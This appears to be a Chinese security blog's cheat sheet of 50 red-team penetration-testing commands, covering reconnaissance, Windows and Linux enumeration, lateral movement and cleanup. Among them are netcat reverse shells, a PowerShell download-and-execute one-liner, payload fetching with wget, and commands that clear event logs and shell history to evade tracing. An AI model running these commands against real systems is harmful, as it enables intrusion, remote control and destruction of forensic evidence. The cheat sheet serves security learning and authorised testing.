实战利器｜50个红队渗透高频命令速查！

原创

牛叫瘦
牛叫瘦

HACK之道

2026年8月11日 08:31
重庆

在小说阅读器读本章

去阅读

在红队攻防、渗透测试、内网横向移动实战中，工具可以替换、载荷可以迭代，但基础命令永远是核心基本功。

很多新手过于依赖一键扫描工具、自动化脚本，真正实战打靶、应急溯源、手工渗透时，却连基础查询、信息收集、权限提升、内网探测命令都不熟练。工具是辅助，命令是底线，自动化工具失效、内网无外网环境、受限终端落地时，纯手工命令操作才是红队的核心能力。

一、外网信息收集＆探测命令（10条）

外网打点是渗透第一步，核心目的是精准收集域名、IP、端口、服务版本、目录信息，为后续漏洞挖掘做铺垫。以下命令基于Kali Linux原生环境，开箱即用。

1. 域名DNS解析查询
nslookup 目标域名
基础DNS解析命令，快速获取目标公网IP、DNS服务器地址，适用于外网资产初步信息摸排。

2. 子域名批量探测
sublist3r -d 目标域名
批量枚举企业子域名，快速挖掘疏于防护、未备案的边缘资产，是外网打点的核心入口手段。

3. 全网DNS记录查询
dig 目标域名 ANY
查询域名全部DNS解析记录，包含A记录、MX邮件记录、CNAME别名记录、TXT解析记录，梳理目标企业完整资产链路。

4. 路由链路追踪
traceroute 目标IP/域名
追踪数据包传输路由节点，用于判断目标机房位置、网络架构，识别CDN节点与真实内网出口IP。

5. 全网端口快速扫描
nmap -sS -Pn 目标IP
隐蔽半连接扫描，跳过存活Ping探测、不建立完整TCP连接，不易被防火墙拦截，快速探测目标开放端口。

6. 端口+服务版本精准扫描
nmap -sV -p 1-65535 目标IP
全端口遍历扫描，精准识别端口对应的服务名称、详细版本，用于匹配对应CVE漏洞，实战利用率最高。

7. 系统版本探测
nmap -O 目标IP
通过网络协议指纹特征，识别目标主机操作系统类型（Windows/Linux）及具体版本，适配后续渗透载荷与攻击思路。

8. Web目录暴力枚举
dirsearch -u 目标URL
自动化扫描网站敏感目录、后台地址、备份文件、源码路径、未授权接口，是Web渗透必备打点命令。

9. HTTP请求头探测
curl -I 目标URL
快速获取网站响应头信息，识别服务器版本、中间件类型、配置信息，排查版本漏洞与弱配置风险。

10. 存活主机网段探测
fping -g 192.168.1.0/24
批量扫描整段内网网段，快速探测在线存活主机，扫描效率优于传统Ping命令，适合内网资产摸排。

二、Windows主机基础渗透命令（15条）

Windows是内网渗透最主流环境，以下命令适配内网终端、服务器，无需第三方工具，系统原生支持，用于信息查询、权限判断、基础探测。

11. 查看系统基础信息
systeminfo
获取Windows系统完整信息，包含系统版本、补丁级别、主机名、域环境、开机时间，辅助判断系统是否存在可利用漏洞。

12.查看当前用户权限
whoami && whoami /priv
双重查询，确认当前登录账号身份、系统特权开启状态，快速判断是否具备本地提权条件。

13. 查看本机所有用户
net user
枚举本机全部本地账号，用于排查攻击者遗留的后门账号、异常新建账号。

14. 查看管理员组用户
net localgroup administrators
精准列出本机所有管理员权限账号，排查权限溢出、恶意提权、非法加用户行为。

15. 查看域内所有用户（域环境）
net user /domain
域内主机专用命令，枚举整个域环境的所有用户账号，梳理域内权限架构，为横向移动做铺垫。

16. 查看网络配置信息
ipconfig /all
获取本机完整网络配置，包含IP地址、网关、DNS、MAC地址、域名信息，精准判定内网网段与域环境状态。

17. 查看端口连接状态
netstat -ano
查询本机所有TCP/UDP监听端口、外网连接、进程PID，精准排查可疑外联、后门进程、异常通信行为。

18.查看系统开机启动项
wmic startup get caption,command
枚举系统所有开机自启程序与执行路径，排查持久化后门、恶意启动项、驻留程序。

19. 查看计划任务
schtasks /query /fo table /nh
无表头表格形式列出全部系统计划任务，排查定时反弹Shell、定时执行恶意程序、后门定时任务。

20. 查看系统日志
wevtutil el
枚举系统所有日志类型，可配合日志查询命令读取登录日志、安全事件、程序运行日志，用于溯源攻击行为。

21. 开启远程桌面（本机）
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
管理员权限下开启本机3389远程桌面服务，是内网横向移动、持久化控制的常用手段。

22. 查看共享目录
net share
枚举本机所有开启的网络共享文件夹，查找未授权访问共享路径，挖掘内网横向渗透入口。

23. 挂载远程共享目录
net use Z: \\\\目标IP\\共享名 密码 /user:用户名
远程连接内网主机共享目录，映射为本地磁盘，用于快速传输载荷、落地恶意文件。

24. 进程精准查询
tasklist
列出本机所有运行进程、PID编号、内存占用，用于匹配可疑恶意进程、挖矿程序、后门程序。

25. 强制结束可疑进程
taskkill /f /pid 进程ID
强制终止顽固进程，常用于清理无法常规关闭的恶意后门、挖矿进程、监控进程。

三、Linux主机渗透＆提权命令（10条）

Linux服务器多用于Web服务、业务后端，是外网打点核心目标，以下命令聚焦信息收集、权限探测、简易提权排查。

26. 查看系统版本内核
uname -a
获取Linux系统内核版本、系统架构、编译信息，用于匹配DirtyCOW等内核本地提权漏洞。

27. 查看系统发行版本
cat /etc/os-release
精准识别CentOS、Ubuntu、Debian等Linux发行版本，针对性匹配对应系统漏洞与渗透方案。

28. 查看当前用户权限
id
查看当前用户UID、GID及所属用户组，快速区分普通用户与Root超级管理员权限。

29. 查看所有系统用户
cat /etc/passwd
枚举系统全部账号信息，排查无密码账号、可疑后门用户、非法新建运维账号。

30. 查看开机自启脚本
ls /etc/cron.d/
查看系统定时任务目录下所有脚本文件，排查恶意定时任务、后门驻留、定时执行载荷。

31. 查看端口监听状态
netstat -tulpn
查询Linux主机所有监听端口、TCP/UDP连接、对应进程，排查异常外联端口与后门通信行为。

32. 查看sudo权限配置
sudo -l
查看当前用户sudo授权范围，判断是否存在无密码sudo、权限溢出等可提权风险。

33. 查找SUID权限文件
find / -perm -u+s -type f 2>/dev/null
全局扫描系统带SUID特殊权限的文件，此类高危文件常被用于本地提权，过滤无效报错信息。

34. 查看历史操作命令
history
调取管理员历史操作记录，常可泄露账号密码、登录路径、密钥地址、数据库信息等敏感内容。

35. 快速下载远程文件
wget 远程文件URL
内网无外网传输通道时，快速下载渗透载荷、脚本、后门文件，实现恶意程序落地执行。

四、内网横向移动＆反弹Shell命令（10条）

拿下单台主机后，横向移动是红队核心操作，以下命令为内网穿透、反弹Shell、权限扩散高频刚需命令，简洁高效、无冗余。

36. PowerShell无文件下载执行
powershell IEX(New-Object Net.WebClient).DownloadString('文件地址')
无文件落地执行远程脚本，规避杀毒软件静态特征查杀，是内网渗透高频无文件攻击方式。

37. NC正向监听端口
nc -lvp 端口号
攻击机Kali端开启端口监听，等待目标主机主动反弹连接，是获取交互Shell的基础前置操作。

38. Windows NC反弹Shell
nc 攻击机IP 端口 -e cmd.exe
Windows主机主动连接攻击机监听端口，回弹原生CMD交互式Shell，实现远程控制。

39. Linux NC反弹Shell
nc 攻击机IP 端口 -e /bin/bash
Linux主机回弹交互式Bash Shell，快速获取服务器远程控制权限。

40. Python临时开启HTTP服务
python -m http.server 80
本地快速搭建临时HTTP文件服务，供内网目标主机下载载荷、脚本，解决内网文件传输难题。

41. Linux内网存活主机探测
for i in {1..254};do ping -c 1 192.168.1.$i;done
批量Ping扫描整段内网网段，快速探测存活主机，拓展内网攻击面与资产范围。

42. 获取域控主机信息
nltest /dclist:域名
域环境专属命令，枚举内网所有域控服务器，锁定内网权限最高的核心资产。

43. 清除本地访问记录
net use * /del /y
批量删除所有内网共享连接记录，静默清除横向移动访问痕迹，规避安全溯源。

44. 查看本机DNS缓存
ipconfig /displaydns
读取本机DNS缓存记录，查询主机曾访问的所有内网、外网域名，挖掘隐藏业务系统。

45. 强制刷新DNS缓存
ipconfig /flushdns
清空本机DNS缓存，彻底清除域名访问痕迹，用于渗透收尾痕迹清理。

五、痕迹清理＆应急收尾命令（5条）

专业红队渗透，收尾和入侵同样重要。合法测试结束后，必须清理操作痕迹，避免残留安全风险。

46. 清空Windows系统日志
wevtutil cl System && wevtutil cl Security && wevtutil cl Application
一键清空系统、安全、应用三大核心日志，仅用于合法测试结束后收尾清理，规避日志溯源。

47. 删除Linux历史命令
history -c && rm -rf ~/.bash_history
清空当前会话历史命令，删除本地历史操作记录，彻底清除Linux终端操作痕迹。

48. 关闭远程桌面服务
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
合法测试结束后关闭3389远程桌面，恢复主机原始安全配置，消除遗留风险端口。

49. 结束所有NC连接
taskkill /f /im nc.exe
批量强制关闭所有NC进程，一键终止全部反弹Shell连接，结束远程控制状态。

50. 清除临时文件
del /f /s /q %temp%\\*
强制清空系统临时目录，删除渗透过程产生的所有临时载荷、日志、缓存文件，完成收尾清理。